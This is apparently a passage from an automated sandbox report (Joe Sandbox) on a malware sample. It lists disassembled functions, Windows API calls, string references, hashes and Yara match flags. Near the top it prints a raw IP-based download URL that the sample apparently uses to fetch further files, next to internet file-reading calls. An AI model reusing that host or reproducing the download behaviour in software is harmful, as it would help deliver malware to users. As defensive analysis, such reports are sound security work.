Part of subcall function 04B79EA2: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B79EAC
Part of subcall function 04B79EA2: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B79EDF

Strings

80.82.65.70/files/download, xrefs: 04B715C4, 04B7161C, 04B71634, 04B71663, 04B71664
KN, xrefs: 04B71595
]DFE, xrefs: 04B71587

Memory Dump Source

Source File: 00000007.00000002.3279910131.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b70000_4611cc433b.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: 80.82.65.70/files/download$KN$]DFE
API String ID: 4132704954-2453730311
Opcode ID: c7f53b009e95d7dd01e5f31d15fda14bb4db076080706df986ab624f9e59cbce
Instruction ID: eacf23f4238105ed54f82868a7072860e113d53c9a51ef34d695eeca0d76532a
Opcode Fuzzy Hash: c7f53b009e95d7dd01e5f31d15fda14bb4db076080706df986ab624f9e59cbce
Instruction Fuzzy Hash: 54213AF0F01284CAE724DF68E8457A8B770EF19308F84C2A5E4641B361DB74A6C6CB5D

Function 00401300 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

Part of subcall function 00409C85: EnterCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409C90
Part of subcall function 00409C85: LeaveCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409CCD

__Init_thread_footer.LIBCMT ref: 0040138C

Part of subcall function 00409C3B: EnterCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C45
Part of subcall function 00409C3B: LeaveCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C78
Part of subcall function 00409C3B: RtlWakeAllConditionVariable.NTDLL ref: 00409CEF

Strings

80.82.65.70/files/download, xrefs: 0040135D, 0040139E, 004013B5, 004013C0, 004013CD, 004013FC, 004013FD
]DFE, xrefs: 00401320
KN, xrefs: 0040132E

Memory Dump Source

Source File: 00000007.00000002.3255103045.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_4611cc433b.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: 80.82.65.70/files/download$KN$]DFE
API String ID: 2296764815-2453730311
Opcode ID: d6f8056c27549fa5a6288615fe1556662b6743ffa200569e1178aac9022ea53a
Instruction ID: c7a597aca517c447b6d362385d7579deaaf1cbe7f5b4030a5a3b5ced69f100f5
Opcode Fuzzy Hash: d6f8056c27549fa5a6288615fe1556662b6743ffa200569e1178aac9022ea53a
Instruction Fuzzy Hash: 57210CB0F00384CAE724DF64E8467B9B760AF19308F44827AF8546B2B2D77855C2CB5D

Function 0040CA97 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,0040CA48,00000000,?,0042D0F8,?,?,?,0040CBEB,00000004,InitializeCriticalSectionEx,00420B18,InitializeCriticalSectionEx), ref: 0040CAA4
GetLastError.KERNEL32(?,0040CA48,00000000,?,0042D0F8,?,?,?,0040CBEB,00000004,InitializeCriticalSectionEx,00420B18,InitializeCriticalSectionEx,00000000,?,0040C836), ref: 0040CAAE
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 0040CAD6

Strings

api-ms-, xrefs: 0040CABB

Memory Dump Source

Source File: 00000007.00000002.3255103045.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_4611cc433b.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 6ea35a358fe08483aaca9864d5c7ce1afea2c26e9c9286d7bdd8822d2b58ffa3
Instruction ID: aef67c255cc06d75e4f2c7ed4f9f6bc06eb467b970858842cb7b754112db4c8a
Opcode Fuzzy Hash: 6ea35a358fe08483aaca9864d5c7ce1afea2c26e9c9286d7bdd8822d2b58ffa3
Instruction Fuzzy Hash: 12E01230380308F6EF105F61ED46B5A3F569B11B54F108131F90DF85E1D7B5A815998C

Function 10004F12 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,10004EC3,00000000,?,00000001,?,?,?,10004FB2,00000001,FlsFree,10011CC0,FlsFree), ref: 10004F1F
GetLastError.KERNEL32(?,10004EC3,00000000,?,00000001,?,?,?,10004FB2,00000001,FlsFree,10011CC0,FlsFree,00000000,?,10003ECF), ref: 10004F29
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 10004F51

Strings

api-ms-, xrefs: 10004F36

Memory Dump Source

Source File: 00000007.00000002.3290931900.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3290893671.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291064819.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291100953.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_4611cc433b.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 194d23d78a7530926df8253abc19602fce8fc6649c780d967afcd7dccf04e9f6
Instruction ID: 9caaa85424732638a533447db036373c94518d46a1d9f65793ecca3e1a8de25d
Opcode Fuzzy Hash: 194d23d78a7530926df8253abc19602fce8fc6649c780d967afcd7dccf04e9f6
Instruction Fuzzy Hash: 19E01274644245B6FB155B60DC45F993B95DB047D0F118030FA0CA80E5DBB1E99599C9

Function 04B898F3 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(0042C014,00000000,00000000,00000000), ref: 04B89956

Part of subcall function 04B851BF: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,04B85422,?,00000000,-00000008), ref: 04B85220

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 04B89BA8
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 04B89BEE
GetLastError.KERNEL32 ref: 04B89C91

Memory Dump Source

Source File: 00000007.00000002.3279910131.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b70000_4611cc433b.jbxd

Yara matches

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: da9c2254c3d6feb7781c277c4017dde1248fb7d9dc01eb7e01956cc2f511bebb
Instruction ID: ac416fa4c4d6fb041676b783e95dcdc46d14eaa74a2396dba48ff2a3ad2ae7e9
Opcode Fuzzy Hash: da9c2254c3d6feb7781c277c4017dde1248fb7d9dc01eb7e01956cc2f511bebb
Instruction Fuzzy Hash: BDD169B5E002489FDF15DFA8D880AADBBF4FF48314F2445AEE456EB251E631A942CF50

Function 0041968C Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(1A9D1BBA,00000000,00000000,00000000), ref: 004196EF

Part of subcall function 00414F58: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,004151BB,?,00000000,-00000008), ref: 00414FB9

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00419941
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00419987
GetLastError.KERNEL32 ref: 00419A2A

Memory Dump Source

Source File: 00000007.00000002.3255103045.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_4611cc433b.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 7b6b5b0f837ac57406110df98857d0f42911bc00a2c7897a29ebb1bace7e2d44
Instruction ID: 80e927e20e1d5b3063f5f9ef1e9119d7a86b1541eeacf5ee68ba8f7951c90f01
Opcode Fuzzy Hash: 7b6b5b0f837ac57406110df98857d0f42911bc00a2c7897a29ebb1bace7e2d44
Instruction Fuzzy Hash: 8CD18DB5E002489FCF15CFA8C8909EEBBB5FF49314F28412AE456EB351D634AD86CB54

Function 04B71BA7 Relevance: 6.3, APIs: 4, Instructions: 293networkfileCOMMON

Download Yara Rule

APIs

InternetSetFilePointer.WININET(?,00000000,00000000,00000000,00000000), ref: 04B71C3C
InternetReadFile.WININET(?,00000000,000003E8,00000000), ref: 04B71C5F

Memory Dump Source

Source File: 00000007.00000002.3279910131.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b70000_4611cc433b.jbxd

Yara matches

Similarity

API ID: FileInternet$PointerRead
String ID:
API String ID: 3197321146-0
Opcode ID: 1885a8dfee8479765fa90636c8dddbf3c0bf84813e2bd3c7ed7779aacb4cd4c8
Instruction ID: be0320b31ca203ceaf5dd76f0e21f679854e8a5607b6761292efae17fc6c147d
Opcode Fuzzy Hash: 1885a8dfee8479765fa90636c8dddbf3c0bf84813e2bd3c7ed7779aacb4cd4c8
Instruction Fuzzy Hash: 80C15AB09002189FEB24CF68CC84BE9B7B5EF49304F1041D9E519AB290DB71BE94CFA1

Function 04D1AE64 Relevance: 6.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 04D1AF2B
___AdjustPointer.LIBCMT ref: 04D1AF4E
___AdjustPointer.LIBCMT ref: 04D1AFEA

Memory Dump Source

Source File: 00000007.00000003.2941756501.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_3_4d10000_4611cc433b.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: bf321dce71054df2b862cad56193e6d87e1aafecfb24913b63c52c13f6cff331
Instruction ID: ad983e33268ec80e8fa473f08664ec562ec492d4c89992667fdc6ab750ea82f8
Opcode Fuzzy Hash: bf321dce71054df2b862cad56193e6d87e1aafecfb24913b63c52c13f6cff331
Instruction Fuzzy Hash: A5517DB2702206BFEB299E50E880B6AB7A5FF40714F14452AFC45463B0E731F841D790

Function 04B7BCCB Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 04B7BD92
___AdjustPointer.LIBCMT ref: 04B7BDB5
___AdjustPointer.LIBCMT ref: 04B7BE51

Memory Dump Source

Source File: 00000007.00000002.3279910131.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b70000_4611cc433b.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: bf321dce71054df2b862cad56193e6d87e1aafecfb24913b63c52c13f6cff331
Instruction ID: 1945c31652fde8ac15260ef10f92d2b1dcababdad020caead208ba0b46973978
Opcode Fuzzy Hash: bf321dce71054df2b862cad56193e6d87e1aafecfb24913b63c52c13f6cff331
Instruction Fuzzy Hash: 1151E372609606EFEF298F54D850BBA77A4EF04318F1488ADED218B690E731F950DF90

Function 0040BA64 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0040BB2B
___AdjustPointer.LIBCMT ref: 0040BB4E
___AdjustPointer.LIBCMT ref: 0040BBEA

Memory Dump Source

Source File: 00000007.00000002.3255103045.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_4611cc433b.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: bf321dce71054df2b862cad56193e6d87e1aafecfb24913b63c52c13f6cff331
Instruction ID: c3f9129e04d39096db86ee3dbd798fa579d010b72ca6babdac1055268f0b1971
Opcode Fuzzy Hash: bf321dce71054df2b862cad56193e6d87e1aafecfb24913b63c52c13f6cff331
Instruction Fuzzy Hash: F651A972600306ABEB298F11C881BAA77B4EF40714F14413FE802A76D5E739AC91CBDD

Function 10003EDA Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 10003FA1
___AdjustPointer.LIBCMT ref: 10003FC4
___AdjustPointer.LIBCMT ref: 10004060

Memory Dump Source

Source File: 00000007.00000002.3290931900.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3290893671.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291064819.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291100953.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_4611cc433b.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 952e73679afc7ae5e9be77ebdc85447c9e7c58ce1189e5957c3f15572caf07ac
Instruction ID: 9e97f9b43940e94c385e873cf65d718b9a08959cb0185780d8acf6a52a646172
Opcode Fuzzy Hash: 952e73679afc7ae5e9be77ebdc85447c9e7c58ce1189e5957c3f15572caf07ac
Instruction Fuzzy Hash: 9D51BFB6A04202AFFB16CF11D941BAB77A8EF047D0F11856DEA05A72A9DB31EC40D794

Function 10007BCE Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 100081F0: _free.LIBCMT ref: 100081FE

Part of subcall function 10008DC4: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,00000000,00000000,?,1000B163,?,00000000,00000000), ref: 10008E70

GetLastError.KERNEL32 ref: 10007C36
__dosmaperr.LIBCMT ref: 10007C3D
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 10007C7C
__dosmaperr.LIBCMT ref: 10007C83

Memory Dump Source

Source File: 00000007.00000002.3290931900.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3290893671.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291064819.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291100953.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_4611cc433b.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: b7af9aa25762b68c67a19e1abcb47a9b758bf4775fc138b5a0a35b694754267d
Instruction ID: 4d86bd2ae757562d8160192595c5732c56f34f1228d97d68919d00ee2a874974
Opcode Fuzzy Hash: b7af9aa25762b68c67a19e1abcb47a9b758bf4775fc138b5a0a35b694754267d
Instruction Fuzzy Hash: 9021AC75A00216AFB720DF658C85D5BB7ADFF042E4B108529FA699724ADB35EC408BA0

Function 04B8770B Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 04B851BF: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,04B85422,?,00000000,-00000008), ref: 04B85220

GetLastError.KERNEL32 ref: 04B8776F
__dosmaperr.LIBCMT ref: 04B87776
GetLastError.KERNEL32(?,?,?,?), ref: 04B877B0
__dosmaperr.LIBCMT ref: 04B877B7

Memory Dump Source

Source File: 00000007.00000002.3279910131.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b70000_4611cc433b.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: fff5e27c2a9c5f498cd8e37e9d2e5b67da44c55886b9eb81921f36740ae9eac4
Instruction ID: c4bd272616a18cace86489c93f10ec3366e31aaf0494dc3fe0e55e7a184726af
Opcode Fuzzy Hash: fff5e27c2a9c5f498cd8e37e9d2e5b67da44c55886b9eb81921f36740ae9eac4
Instruction Fuzzy Hash: 63216575604206AFEB20BF65CC8496BB7ADFF4826C72085ADE92997150EB31FC51CB90

Function 004174A4 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 00414F58: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,004151BB,?,00000000,-00000008), ref: 00414FB9

GetLastError.KERNEL32 ref: 00417508
__dosmaperr.LIBCMT ref: 0041750F
GetLastError.KERNEL32(?,?,?,?), ref: 00417549
__dosmaperr.LIBCMT ref: 00417550

Memory Dump Source

Source File: 00000007.00000002.3255103045.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_4611cc433b.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: fff5e27c2a9c5f498cd8e37e9d2e5b67da44c55886b9eb81921f36740ae9eac4
Instruction ID: 408a06d1cf8366b2ae1f3811782f7cd1de2d149ac6df674c503089c6b33b154d
Opcode Fuzzy Hash: fff5e27c2a9c5f498cd8e37e9d2e5b67da44c55886b9eb81921f36740ae9eac4
Instruction Fuzzy Hash: 2B21CD716042057FDB20AF66C880CAB7779EF44368710852AF91997751D739ED818768

Function 04B81442 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3279910131.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b70000_4611cc433b.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: daefbb992f6e98e82da9deec0440fc20cde4ea8490cf1120197b10a32be04fa6
Instruction ID: b44bb20ee8b5ea8dc99c703dbe36483f003ad45d12ef8b575c0da1b3eb087d84
Opcode Fuzzy Hash: daefbb992f6e98e82da9deec0440fc20cde4ea8490cf1120197b10a32be04fa6
Instruction Fuzzy Hash: 2B218771205105AFEB10BF6DCC409AB77ADEF442A8704459DE91A97550E731FC02CB90

Function 004111DB Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3255103045.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_4611cc433b.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: daefbb992f6e98e82da9deec0440fc20cde4ea8490cf1120197b10a32be04fa6
Instruction ID: c7293b4e2709a45a538168f771ca0d14dcb5837bd486a4ca313c9b6cb4d0090e
Opcode Fuzzy Hash: daefbb992f6e98e82da9deec0440fc20cde4ea8490cf1120197b10a32be04fa6
Instruction Fuzzy Hash: DF21C971600219AFDB20AF659C40DEB776DAF44368B10456BFA29E7261D738DC8187A8

Function 04B835A0 Relevance: 6.1, APIs: 4, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,04B836AF,04B737FE,?,00000000,04B72A70,04B72A72,?,04B83828,00000022,00420B0C,00422950,00422958,04B72A70), ref: 04B83661

Memory Dump Source

Source File: 00000007.00000002.3279910131.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b70000_4611cc433b.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: b8c7e483e8ea991eea5b44eb111e182d5bd336103010429673e37ca0c8998616
Instruction ID: 0bf9f426f90302334778c8afaf181afb8e026349ed719be98a914c8a6cc83adf
Opcode Fuzzy Hash: b8c7e483e8ea991eea5b44eb111e182d5bd336103010429673e37ca0c8998616
Instruction Fuzzy Hash: 2821D571F05211ABC731BF29EC80A9A3BA9DF42B60F1511B8ED05A7391EB31FD06C694

Function 04B886AC Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 04B886B4

Part of subcall function 04B851BF: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,04B85422,?,00000000,-00000008), ref: 04B85220

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 04B886EC
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 04B8870C

Memory Dump Source

Source File: 00000007.00000002.3279910131.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b70000_4611cc433b.jbxd

Yara matches

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: f25717e6bd25f80c70edce058ac37b14eb42a5c51d25e47d03568e648881f521
Instruction ID: 1ca17285a926a8ca3d4b97d99af927842618728371c8848ce9078d086d5825d5
Opcode Fuzzy Hash: f25717e6bd25f80c70edce058ac37b14eb42a5c51d25e47d03568e648881f521
Instruction Fuzzy Hash: 991161BA6115197FB7213B729C8CCAF79ADDE4959874104BCF905A5100FA61EE01C2B6

Function 00418445 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 0041844D

Part of subcall function 00414F58: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,004151BB,?,00000000,-00000008), ref: 00414FB9

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00418485
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 004184A5

Memory Dump Source

Source File: 00000007.00000002.3255103045.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_4611cc433b.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: f25717e6bd25f80c70edce058ac37b14eb42a5c51d25e47d03568e648881f521
Instruction ID: 9202fe00a5822ec58f1db5debff3a6e736622b39abe9cc99b2a2d556b75614f5
Opcode Fuzzy Hash: f25717e6bd25f80c70edce058ac37b14eb42a5c51d25e47d03568e648881f521
Instruction Fuzzy Hash: A01104B65005167F6B212BB25D89CEF295CDF89398721402EF905A1201FE2CDE8241BE

Function 10006E9C Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00000000,100059DF,?,10001F4F,00000000), ref: 10006EA1
_free.LIBCMT ref: 10006EFE
_free.LIBCMT ref: 10006F34
SetLastError.KERNEL32(00000000,0000000B,000000FF,?,?,00000000,100059DF,?,10001F4F,00000000), ref: 10006F3F

Memory Dump Source

Source File: 00000007.00000002.3290931900.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3290893671.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291064819.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291100953.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_4611cc433b.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 72c61705ed6df8d98b2a0eedb55838999870745f68928b586d93f1ef3c7b0de2
Instruction ID: 52538b18816049bcedc1269911990ba1ec418b01f35f7c97631a1a3369067357
Opcode Fuzzy Hash: 72c61705ed6df8d98b2a0eedb55838999870745f68928b586d93f1ef3c7b0de2
Instruction Fuzzy Hash: BE11E33AA006566AF242D674DC81E6F328BEBC92F57310134F528921D9DE74DE094631

Function 10006FF3 Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,1000592B,10007A62,?,?,100066F0), ref: 10006FF8
_free.LIBCMT ref: 10007055
_free.LIBCMT ref: 1000708B
SetLastError.KERNEL32(00000000,0000000B,000000FF,?,?,1000592B,10007A62,?,?,100066F0), ref: 10007096

Memory Dump Source

Source File: 00000007.00000002.3290931900.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3290893671.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291064819.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291100953.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_4611cc433b.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: cb1c894d2cda448839c8e2a8665fbefda6a0446c15ff34be0ccd710a5c402308
Instruction ID: 7e0a2054198a3f627b51ebbd791d94cb99ce3d76a099f8cfcb9b0e2a4681bd24
Opcode Fuzzy Hash: cb1c894d2cda448839c8e2a8665fbefda6a0446c15ff34be0ccd710a5c402308
Instruction Fuzzy Hash: B8110236E00514AAF352C6748CC5E6F328AFBC92F17210724F52C921EADE79DE048631

Function 04D1AD84 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

___vcrt_FlsGetValue.LIBVCRUNTIME ref: 04D1ADA0
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 04D1ADB9

Memory Dump Source

Source File: 00000007.00000003.2941756501.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_3_4d10000_4611cc433b.jbxd

Similarity

API ID: Value___vcrt_
String ID:
API String ID: 1426506684-0
Opcode ID: d6c575caaa9e79ca82c8f10f2e1bf5459d856a9b56868e1e7e4fca28ce884c4a
Instruction ID: 410cb2dec83f0e149793fed91062ab2606e69ffbbe45f606be61b73123cc28a5
Opcode Fuzzy Hash: d6c575caaa9e79ca82c8f10f2e1bf5459d856a9b56868e1e7e4fca28ce884c4a
Instruction Fuzzy Hash: 0F01883270A711BEB73527B87CC5A5B2B54FB01679B60023BFD10552F1FE55B80255D4

Function 04B8CE4F Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,00000000,?,04B8CAC6,00000000,00000001,?,00000000,?,04B89CE5,00000000,00000000,00000000), ref: 04B8CE66
GetLastError.KERNEL32(?,04B8CAC6,00000000,00000001,?,00000000,?,04B89CE5,00000000,00000000,00000000,00000000,00000000,?,04B8A288,?), ref: 04B8CE72

Part of subcall function 04B8CE38: CloseHandle.KERNEL32(0042CA30,04B8CE82,?,04B8CAC6,00000000,00000001,?,00000000,?,04B89CE5,00000000,00000000,00000000,00000000,00000000), ref: 04B8CE48

___initconout.LIBCMT ref: 04B8CE82

Part of subcall function 04B8CDFA: CreateFileW.KERNEL32(00428728,40000000,00000003,00000000,00000003,00000000,00000000,04B8CE29,04B8CAB3,00000000,?,04B89CE5,00000000,00000000,00000000,00000000), ref: 04B8CE0D

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,?,04B8CAC6,00000000,00000001,?,00000000,?,04B89CE5,00000000,00000000,00000000,00000000), ref: 04B8CE97

Memory Dump Source

Source File: 00000007.00000002.3279910131.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b70000_4611cc433b.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: e3757025193b1f655bc0a77c3c1a7d52d6e2513ac00293883d9defc3f3400d05
Instruction ID: b2fa7f10159139ecd6709e666d6aa95494a7fd4dd9cb8a55f31fa7586fc7ba12
Opcode Fuzzy Hash: e3757025193b1f655bc0a77c3c1a7d52d6e2513ac00293883d9defc3f3400d05
Instruction Fuzzy Hash: 49F0303A500118BBCF326F95DC04ACD3F36FF086A1B408474FA1996130D732A821EBE4

Function 0041CBE8 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

